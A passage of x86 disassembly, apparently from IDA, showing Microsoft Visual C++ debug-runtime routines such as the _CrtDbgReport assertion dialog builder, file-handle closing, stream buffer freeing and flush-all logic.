mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_2007]
rep stosd
stosw
stosb
mov [ebp+var_1000], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_FFF]
rep stosd
stosw
stosb
lea eax, [ebp+arg_14]
mov [ebp+var_1004], eax
cmp [ebp+arg_0], 0
jl short loc_41EF3E
cmp [ebp+arg_0], 3
jl short loc_41EF46
loc_41EF3E: ; CODE XREF: sub_41EED0+66j
or eax, 0FFFFFFFFh
jmp loc_41F25B
; ---------------------------------------------------------------------------
loc_41EF46: ; CODE XREF: sub_41EED0+6Cj
cmp [ebp+arg_0], 2
jnz loc_41EFF0
push offset dword_4513A8
call dword_4F1454 ; InterlockedIncrement
test eax, eax
jle loc_41EFF0
cmp dword_4EF8F0, 0
jnz short loc_41EFAE
push offset aUser32_dll_0 ; "user32.dll"
call dword_4F1374 ; LoadLibraryA
mov [ebp+var_300C], eax
cmp [ebp+var_300C], 0
jz short loc_41EFA6
push offset aWsprintfa ; "wsprintfA"
mov ecx, [ebp+var_300C]
push ecx
call dword_4F1378 ; GetProcAddress
mov dword_4EF8F0, eax
cmp dword_4EF8F0, 0
jnz short loc_41EFAE
loc_41EFA6: ; CODE XREF: sub_41EED0+B4j
or eax, 0FFFFFFFFh
jmp loc_41F25B
; ---------------------------------------------------------------------------
loc_41EFAE: ; CODE XREF: sub_41EED0+9Aj
; sub_41EED0+D4j
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"...
lea ecx, [ebp+var_2008]
push ecx
call dword_4EF8F0
add esp, 10h
lea edx, [ebp+var_2008]
push edx
call dword_4F146C ; OutputDebugStringA
push offset dword_4513A8
call dword_4F1450 ; InterlockedDecrement
call sub_41EDC0
or eax, 0FFFFFFFFh
jmp loc_41F25B
; ---------------------------------------------------------------------------
loc_41EFF0: ; CODE XREF: sub_41EED0+7Aj
; sub_41EED0+8Dj
cmp [ebp+arg_10], 0
jz short loc_41F02D
mov eax, [ebp+var_1004]
push eax
mov ecx, [ebp+arg_10]
push ecx
push 0FEDh
lea edx, [ebp+var_1000]
push edx
call sub_41C6A0
add esp, 10h
test eax, eax
jge short loc_41F02D
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea eax, [ebp+var_1000]
push eax
call sub_41C300
add esp, 8
loc_41F02D: ; CODE XREF: sub_41EED0+124j
; sub_41EED0+147j
cmp [ebp+arg_0], 2
jnz short loc_41F065
cmp [ebp+arg_10], 0
jz short loc_41F045
mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: "
jmp short loc_41F04F
; ---------------------------------------------------------------------------
loc_41F045: ; CODE XREF: sub_41EED0+167j
mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!"
loc_41F04F: ; CODE XREF: sub_41EED0+173j
mov ecx, [ebp+var_3028]
push ecx
lea edx, [ebp+var_3008]
push edx
call sub_41C300
add esp, 8
loc_41F065: ; CODE XREF: sub_41EED0+161j
lea eax, [ebp+var_1000]
push eax
lea ecx, [ebp+var_3008]
push ecx
call sub_41C310
add esp, 8
cmp [ebp+arg_0], 2
jnz short loc_41F0BA
mov edx, [ebp+arg_0]
mov eax, dword_4513AC[edx*4]
and eax, 1
test eax, eax
jz short loc_41F0A6
push offset asc_437D80 ; "\r"
lea ecx, [ebp+var_3008]
push ecx
call sub_41C310
add esp, 8
loc_41F0A6: ; CODE XREF: sub_41EED0+1C0j
push offset asc_437D7C ; "\n"
lea edx, [ebp+var_3008]
push edx
call sub_41C310
add esp, 8
loc_41F0BA: ; CODE XREF: sub_41EED0+1AFj
cmp [ebp+arg_4], 0
jz short loc_41F102
lea eax, [ebp+var_3008]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push offset aSDS ; "%s(%d) : %s"
push 1000h
lea eax, [ebp+var_2008]
push eax
call sub_41B910
add esp, 18h
test eax, eax
jge short loc_41F100
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_2008]
push ecx
call sub_41C300
add esp, 8
loc_41F100: ; CODE XREF: sub_41EED0+21Aj
jmp short loc_41F118
; ---------------------------------------------------------------------------
loc_41F102: ; CODE XREF: sub_41EED0+1EEj
lea edx, [ebp+var_3008]
push edx
lea eax, [ebp+var_2008]
push eax
call sub_41C300
add esp, 8
loc_41F118: ; CODE XREF: sub_41EED0:loc_41F100j
cmp dword_4EFF84, 0
jz short loc_41F15C
lea ecx, [ebp+var_1008]
push ecx
lea edx, [ebp+var_2008]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4EFF84
add esp, 0Ch
test eax, eax
jz short loc_41F15C
cmp [ebp+arg_0], 2
jnz short loc_41F151
push offset dword_4513A8
call dword_4F1450 ; InterlockedDecrement
loc_41F151: ; CODE XREF: sub_41EED0+274j
mov eax, [ebp+var_1008]
jmp loc_41F25B
; ---------------------------------------------------------------------------
loc_41F15C: ; CODE XREF: sub_41EED0+24Fj
; sub_41EED0+26Ej
mov ecx, [ebp+arg_0]
mov edx, dword_4513AC[ecx*4]
and edx, 1
test edx, edx
jz short loc_41F1AB
mov eax, [ebp+arg_0]
cmp dword_4513B8[eax*4], 0FFFFFFFFh
jz short loc_41F1AB
push 0
lea ecx, [ebp+var_3010]
push ecx
lea edx, [ebp+var_2008]
push edx
call sub_418D00
add esp, 4
push eax
lea eax, [ebp+var_2008]
push eax
mov ecx, [ebp+arg_0]
mov edx, dword_4513B8[ecx*4]
push edx
call dword_4F139C ; WriteFile
loc_41F1AB: ; CODE XREF: sub_41EED0+29Bj
; sub_41EED0+2A8j
mov eax, [ebp+arg_0]
mov ecx, dword_4513AC[eax*4]
and ecx, 2
test ecx, ecx
jz short loc_41F1C9
lea edx, [ebp+var_2008]
push edx
call dword_4F146C ; OutputDebugStringA
loc_41F1C9: ; CODE XREF: sub_41EED0+2EAj
mov eax, [ebp+arg_0]
mov ecx, dword_4513AC[eax*4]
and ecx, 4
test ecx, ecx
jz short loc_41F248
cmp [ebp+arg_8], 0
jz short loc_41F1FD
push 0Ah
lea edx, [ebp+var_3024]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_42AE00
add esp, 0Ch
mov [ebp+var_302C], eax
jmp short loc_41F207
; ---------------------------------------------------------------------------
loc_41F1FD: ; CODE XREF: sub_41EED0+30Ej
mov [ebp+var_302C], 0
loc_41F207: ; CODE XREF: sub_41EED0+32Bj
lea ecx, [ebp+var_1000]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_302C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41F260
add esp, 14h
mov [ebp+var_1008], eax
cmp [ebp+arg_0], 2
jnz short loc_41F240
push offset dword_4513A8
call dword_4F1450 ; InterlockedDecrement
loc_41F240: ; CODE XREF: sub_41EED0+363j
mov eax, [ebp+var_1008]
jmp short loc_41F25B
; ---------------------------------------------------------------------------
loc_41F248: ; CODE XREF: sub_41EED0+308j
cmp [ebp+arg_0], 2
jnz short loc_41F259
push offset dword_4513A8
call dword_4F1450 ; InterlockedDecrement
loc_41F259: ; CODE XREF: sub_41EED0+37Cj
xor eax, eax
loc_41F25B: ; CODE XREF: sub_41EED0+71j
; sub_41EED0+D9j ...
pop edi
mov esp, ebp
pop ebp
retn
sub_41EED0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F260 proc near ; CODE XREF: sub_41EED0+351p
var_1138 = dword ptr -1138h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1114 = dword ptr -1114h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1138h
call sub_41BC60
loc_41F26D: ; CODE XREF: sub_41F260+3Cj
cmp [ebp+arg_10], 0
jnz short loc_41F298
push offset aSzusermessageN ; "szUserMessage != NULL"
push 0
push 1DAh
push offset aDbgrpt_c ; "dbgrpt.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41F298
call sub_41EDC0
loc_41F298: ; CODE XREF: sub_41F260+11j
; sub_41F260+31j
xor eax, eax
test eax, eax
jnz short loc_41F26D
push 104h
lea ecx, [ebp+var_108]
push ecx
push 0
call dword_4F132C ; GetModuleFileNameA
test eax, eax
jnz short loc_41F2CA
push offset aProgramNameUnk ; "<program name unknown>"
lea edx, [ebp+var_108]
push edx
call sub_41C300
add esp, 8
loc_41F2CA: ; CODE XREF: sub_41F260+54j
lea eax, [ebp+var_108]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_418D00
add esp, 4
cmp eax, 40h
jbe short loc_41F30D
mov edx, [ebp+var_4]
push edx
call sub_418D00
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax-40h]
mov [ebp+var_4], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_4]
push eax
call sub_41B1F0
add esp, 0Ch
loc_41F30D: ; CODE XREF: sub_41F260+82j
mov ecx, [ebp+arg_C]
mov [ebp+var_1110], ecx
cmp [ebp+var_1110], 0
jz short loc_41F368
mov edx, [ebp+var_1110]
push edx
call sub_418D00
add esp, 4
cmp eax, 40h
jbe short loc_41F368
mov eax, [ebp+var_1110]
push eax
call sub_418D00
add esp, 4
mov ecx, [ebp+var_1110]
lea edx, [ecx+eax-40h]
mov [ebp+var_1110], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_1110]
push eax
call sub_41B1F0
add esp, 0Ch
loc_41F368: ; CODE XREF: sub_41F260+BDj
; sub_41F260+D1j
cmp [ebp+arg_0], 2
jnz short loc_41F37A
mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"...
jmp short loc_41F384
; ---------------------------------------------------------------------------
loc_41F37A: ; CODE XREF: sub_41F260+10Cj
mov [ebp+var_1114], offset dword_437ECC
loc_41F384: ; CODE XREF: sub_41F260+118j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41F399
mov eax, [ebp+arg_10]
mov [ebp+var_1118], eax
jmp short loc_41F3A3
; ---------------------------------------------------------------------------
loc_41F399: ; CODE XREF: sub_41F260+12Cj
mov [ebp+var_1118], offset dword_437ECC
loc_41F3A3: ; CODE XREF: sub_41F260+137j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41F3BF
cmp [ebp+arg_0], 2
jnz short loc_41F3BF
mov [ebp+var_111C], offset aExpression ; "Expression: "
jmp short loc_41F3C9
; ---------------------------------------------------------------------------
loc_41F3BF: ; CODE XREF: sub_41F260+14Bj
; sub_41F260+151j
mov [ebp+var_111C], offset dword_437ECC
loc_41F3C9: ; CODE XREF: sub_41F260+15Dj
mov eax, [ebp+arg_10]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_41F3DF
mov [ebp+var_1120], offset asc_437EB8 ; "\n\n"
jmp short loc_41F3E9
; ---------------------------------------------------------------------------
loc_41F3DF: ; CODE XREF: sub_41F260+171j
mov [ebp+var_1120], offset dword_437ECC
loc_41F3E9: ; CODE XREF: sub_41F260+17Dj
cmp [ebp+arg_8], 0
jz short loc_41F3FA
mov edx, [ebp+arg_8]
mov [ebp+var_1124], edx
jmp short loc_41F404
; ---------------------------------------------------------------------------
loc_41F3FA: ; CODE XREF: sub_41F260+18Dj
mov [ebp+var_1124], offset dword_437ECC
loc_41F404: ; CODE XREF: sub_41F260+198j
cmp [ebp+arg_8], 0
jz short loc_41F416
mov [ebp+var_1128], offset aLine ; "\nLine: "
jmp short loc_41F420
; ---------------------------------------------------------------------------
loc_41F416: ; CODE XREF: sub_41F260+1A8j
mov [ebp+var_1128], offset dword_437ECC
loc_41F420: ; CODE XREF: sub_41F260+1B4j
cmp [ebp+arg_4], 0
jz short loc_41F431
mov eax, [ebp+arg_4]
mov [ebp+var_112C], eax
jmp short loc_41F43B
; ---------------------------------------------------------------------------
loc_41F431: ; CODE XREF: sub_41F260+1C4j
mov [ebp+var_112C], offset dword_437ECC
loc_41F43B: ; CODE XREF: sub_41F260+1CFj
cmp [ebp+arg_4], 0
jz short loc_41F44D
mov [ebp+var_1130], offset aFile ; "\nFile: "
jmp short loc_41F457
; ---------------------------------------------------------------------------
loc_41F44D: ; CODE XREF: sub_41F260+1DFj
mov [ebp+var_1130], offset dword_437ECC
loc_41F457: ; CODE XREF: sub_41F260+1EBj
cmp [ebp+var_1110], 0
jz short loc_41F46E
mov ecx, [ebp+var_1110]
mov [ebp+var_1134], ecx
jmp short loc_41F478
; ---------------------------------------------------------------------------
loc_41F46E: ; CODE XREF: sub_41F260+1FEj
mov [ebp+var_1134], offset dword_437ECC
loc_41F478: ; CODE XREF: sub_41F260+20Cj
cmp [ebp+var_1110], 0
jz short loc_41F48D
mov [ebp+var_1138], offset aModule ; "\nModule: "
jmp short loc_41F497
; ---------------------------------------------------------------------------
loc_41F48D: ; CODE XREF: sub_41F260+21Fj
mov [ebp+var_1138], offset dword_437ECC
loc_41F497: ; CODE XREF: sub_41F260+22Bj
mov edx, [ebp+var_1114]
push edx
mov eax, [ebp+var_1118]
push eax
mov ecx, [ebp+var_111C]
push ecx
mov edx, [ebp+var_1120]
push edx
mov eax, [ebp+var_1124]
push eax
mov ecx, [ebp+var_1128]
push ecx
mov edx, [ebp+var_112C]
push edx
mov eax, [ebp+var_1130]
push eax
mov ecx, [ebp+var_1134]
push ecx
mov edx, [ebp+var_1138]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, off_4513C4[ecx*4]
push edx
push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"...
push 1000h
lea eax, [ebp+var_110C]
push eax
call sub_41B910
add esp, 3Ch
test eax, eax
jge short loc_41F51D
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_110C]
push ecx
call sub_41C300
add esp, 8
loc_41F51D: ; CODE XREF: sub_41F260+2A7j
push 12012h
push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
lea edx, [ebp+var_110C]
push edx
call sub_42B680
add esp, 0Ch
mov [ebp+var_10C], eax
cmp [ebp+var_10C], 3
jnz short loc_41F556
push 16h
call sub_42B3C0
add esp, 4
push 3
call sub_41B5A0
loc_41F556: ; CODE XREF: sub_41F260+2E3j
cmp [ebp+var_10C], 4
jnz short loc_41F566
mov eax, 1
jmp short loc_41F568
; ---------------------------------------------------------------------------
loc_41F566: ; CODE XREF: sub_41F260+2FDj
xor eax, eax
loc_41F568: ; CODE XREF: sub_41F260+304j
mov esp, ebp
pop ebp
retn
sub_41F260 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F570 proc near ; CODE XREF: sub_418E10+71p
; sub_42C3D0+400p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4EFD40
jnb short loc_41F5A1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_41F5BC
loc_41F5A1: ; CODE XREF: sub_41F570+Dj
call sub_4248A0
mov dword ptr [eax], 9
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_41F5E6
; ---------------------------------------------------------------------------
loc_41F5BC: ; CODE XREF: sub_41F570+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_42BC50
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_41F5F0
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42BCE0
add esp, 4
mov eax, [ebp+var_4]
loc_41F5E6: ; CODE XREF: sub_41F570+4Aj
mov esp, ebp
pop ebp
retn
sub_41F570 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F5F0 proc near ; CODE XREF: sub_41F570+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov eax, [ebp+arg_0]
push eax
call sub_42BAD0
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_41F643
cmp [ebp+arg_0], 1
jz short loc_41F612
cmp [ebp+arg_0], 2
jnz short loc_41F62C
loc_41F612: ; CODE XREF: sub_41F5F0+1Aj
push 1
call sub_42BAD0
add esp, 4
mov esi, eax
push 2
call sub_42BAD0
add esp, 4
cmp esi, eax
jz short loc_41F643
loc_41F62C: ; CODE XREF: sub_41F5F0+20j
mov ecx, [ebp+arg_0]
push ecx
call sub_42BAD0
add esp, 4
push eax
call dword_4F1324 ; CloseHandle
test eax, eax
jz short loc_41F64C
loc_41F643: ; CODE XREF: sub_41F5F0+14j
; sub_41F5F0+3Aj
mov [ebp+var_4], 0
jmp short loc_41F655
; ---------------------------------------------------------------------------
loc_41F64C: ; CODE XREF: sub_41F5F0+51j
call dword_4F1348 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
loc_41F655: ; CODE XREF: sub_41F5F0+5Aj
mov edx, [ebp+arg_0]
push edx
call sub_42B9F0
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov byte ptr [edx+ecx+4], 0
cmp [ebp+var_4], 0
jz short loc_41F693
mov eax, [ebp+var_4]
push eax
call sub_424800
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41F695
; ---------------------------------------------------------------------------
loc_41F693: ; CODE XREF: sub_41F5F0+90j
xor eax, eax
loc_41F695: ; CODE XREF: sub_41F5F0+A1j
pop esi
mov esp, ebp
pop ebp
retn
sub_41F5F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F6A0 proc near ; CODE XREF: sub_418E10+62p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_41F6A6: ; CODE XREF: sub_41F6A0+2Ej
cmp [ebp+arg_0], 0
jnz short loc_41F6CA
push offset dword_437504
push 0
push 30h
push offset a_freebuf_c ; "_freebuf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41F6CA
int 3 ; Trap to Debugger
loc_41F6CA: ; CODE XREF: sub_41F6A0+Aj
; sub_41F6A0+27j
xor eax, eax
test eax, eax
jnz short loc_41F6A6
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 83h
test edx, edx
jz short loc_41F72D
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_41F72D
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_419980
add esp, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 0FFFFFBF7h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
loc_41F72D: ; CODE XREF: sub_41F6A0+3Ej
; sub_41F6A0+4Bj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41F6A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jnz short loc_41F756
push 0
call sub_41F8B0
add esp, 4
jmp short loc_41F780
; ---------------------------------------------------------------------------
loc_41F756: ; CODE XREF: .nsp0:0041F748j
mov eax, [ebp+8]
push eax
call sub_41ECE0
add esp, 4
mov ecx, [ebp+8]
push ecx
call sub_41F790
add esp, 4
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_41ED50
add esp, 4
mov eax, [ebp-4]
loc_41F780: ; CODE XREF: .nsp0:0041F754j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F790 proc near ; CODE XREF: .nsp0:0041F766p
; sub_41F8B0+B1p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_41F7E0
add esp, 4
test eax, eax
jz short loc_41F7A8
or eax, 0FFFFFFFFh
jmp short loc_41F7CF
; ---------------------------------------------------------------------------
loc_41F7A8: ; CODE XREF: sub_41F790+11j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 4000h
test edx, edx
jz short loc_41F7CD
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_42BD10
add esp, 4
neg eax
sbb eax, eax
jmp short loc_41F7CF
; ---------------------------------------------------------------------------
loc_41F7CD: ; CODE XREF: sub_41F790+26j
xor eax, eax
loc_41F7CF: ; CODE XREF: sub_41F790+16j
; sub_41F790+3Bj
pop ebp
retn
sub_41F790 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F7E0 proc near ; CODE XREF: sub_418E10+53p
; sub_41DD30+A2p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 3
cmp edx, 2
jnz short loc_41F87B
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 108h
test ecx, ecx
jz short loc_41F87B
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jle short loc_41F87B
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
push eax
call sub_42BDF0
add esp, 0Ch
cmp eax, [ebp+var_C]
jnz short loc_41F865
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_41F863
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFDh
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
loc_41F863: ; CODE XREF: sub_41F7E0+72j
jmp short loc_41F87B
; ---------------------------------------------------------------------------
loc_41F865: ; CODE XREF: sub_41F7E0+62j
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
mov [ebp+var_4], 0FFFFFFFFh
loc_41F87B: ; CODE XREF: sub_41F7E0+1Fj
; sub_41F7E0+2Fj ...
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_8]
mov dword ptr [eax+4], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41F7E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F8A0 proc near ; CODE XREF: sub_41ECC0+3p
push ebp
mov ebp, esp
push 1
call sub_41F8B0
add esp, 4
pop ebp
retn
sub_41F8A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F8B0 proc near ; CODE XREF: .nsp0:0041F74Cp
; sub_41F8A0+5p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov [ebp+var_8], 0
push 2
call sub_41FB40
add esp, 4
mov [ebp+var_C], 0
jmp short loc_41F8E0
; ---------------------------------------------------------------------------
loc_41F8D7: ; CODE XREF: sub_41F8B0:loc_41F9CEj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_41F8E0: ; CODE XREF: sub_41F8B0+25j
mov ecx, [ebp+var_C]
cmp ecx, dword_4F0FA0
jge loc_41F9D3
mov edx, [ebp+var_C]
mov eax, dword_4EFF88
cmp dword ptr [eax+edx*4], 0
jz loc_41F9CE
mov ecx, [ebp+var_C]
mov edx, dword_4EFF88
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz loc_41F9CE
mov edx, [ebp+var_C]
mov eax, dword_4EFF88
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_C]
push edx
call sub_41ED20
add esp, 8
mov eax, [ebp+var_C]
mov ecx, dword_4EFF88
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41F9B5
cmp [ebp+arg_0], 1
jnz short loc_41F979
mov ecx, [ebp+var_C]
mov edx, dword_4EFF88
mov eax, [edx+ecx*4]
push eax
call sub_41F790
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_41F977
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41F977: ; CODE XREF: sub_41F8B0+BCj
jmp short loc_41F9B5
; ---------------------------------------------------------------------------
loc_41F979: ; CODE XREF: sub_41F8B0+A2j
cmp [ebp+arg_0], 0
jnz short loc_41F9B5
mov edx, [ebp+var_C]
mov eax, dword_4EFF88
mov ecx, [eax+edx*4]
mov edx, [ecx+0Ch]
and edx, 2
test edx, edx
jz short loc_41F9B5
mov eax, [ebp+var_C]
mov ecx, dword_4EFF88
mov edx, [ecx+eax*4]
push edx
call sub_41F790
add esp, 4
cmp eax, 0FFFFFFFFh
jnz short loc_41F9B5
mov [ebp+var_8], 0FFFFFFFFh
loc_41F9B5: ; CODE XREF: sub_41F8B0+9Cj
; sub_41F8B0:loc_41F977j ...
mov eax, [ebp+var_C]
mov ecx, dword_4EFF88
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_41ED90
add esp, 8
loc_41F9CE: ; CODE XREF: sub_41F8B0+4Bj
; sub_41F8B0+68j
jmp loc_41F8D7
; ---------------------------------------------------------------------------
loc_41F9D3: ; CODE XREF: sub_41F8B0+39j
push 2
call sub_41FBE0
add esp, 4
cmp [ebp+arg_0], 1
jnz short loc_41F9E8
mov eax, [ebp+var_4]
jmp short loc_41F9EB
; ---------------------------------------------------------------------------
loc_41F9E8: ; CODE XREF: sub_41F8B0+131j
mov eax, [ebp+var_8]
loc_41F9EB: ; CODE XREF: sub_41F8B0+136j
mov esp, ebp
pop ebp
retn
sub_41F8B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 9
call sub_41FB40
add esp, 4
mov eax, dword_4EF8F8
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4EF8F8, ecx
push 9
call sub_41FBE0
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, dword_4EF8F8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FA30 proc near ; CODE XREF: sub_418F40+48p
; sub_41FC40+41p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4EF8F8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41FA50
mov ecx, [ebp+arg_0]
push ecx
call [ebp+var_4]
add esp, 4
test eax, eax
jnz short loc_41FA54
loc_41FA50: ; CODE XREF: sub_41FA30+10j
xor eax, eax
jmp short loc_41FA59
; ---------------------------------------------------------------------------
loc_41FA54: ; CODE XREF: sub_41FA30+1Ej
mov eax, 1
loc_41FA59: ; CODE XREF: sub_41FA30+22j
mov esp, ebp
pop ebp
retn
sub_41FA30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FA60 proc near ; CODE XREF: sub_423C10+4p
push ebp
mov ebp, esp
mov eax, off_451414
push eax
call dword_4F1470 ; InitializeCriticalSection
mov ecx, off_451404
push ecx
call dword_4F1470 ; InitializeCriticalSection
mov edx, off_4513F4
push edx
call dword_4F1470 ; InitializeCriticalSection
mov eax, off_4513D4
push eax
call dword_4F1470 ; InitializeCriticalSection
pop ebp
retn
sub_41FA60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FAA0 proc near ; CODE XREF: .nsp0:00423CA3p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_41FAB6
; ---------------------------------------------------------------------------
loc_41FAAD: ; CODE XREF: sub_41FAA0:loc_41FB07j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41FAB6: ; CODE XREF: sub_41FAA0+Bj
cmp [ebp+var_4], 30h
jge short loc_41FB09
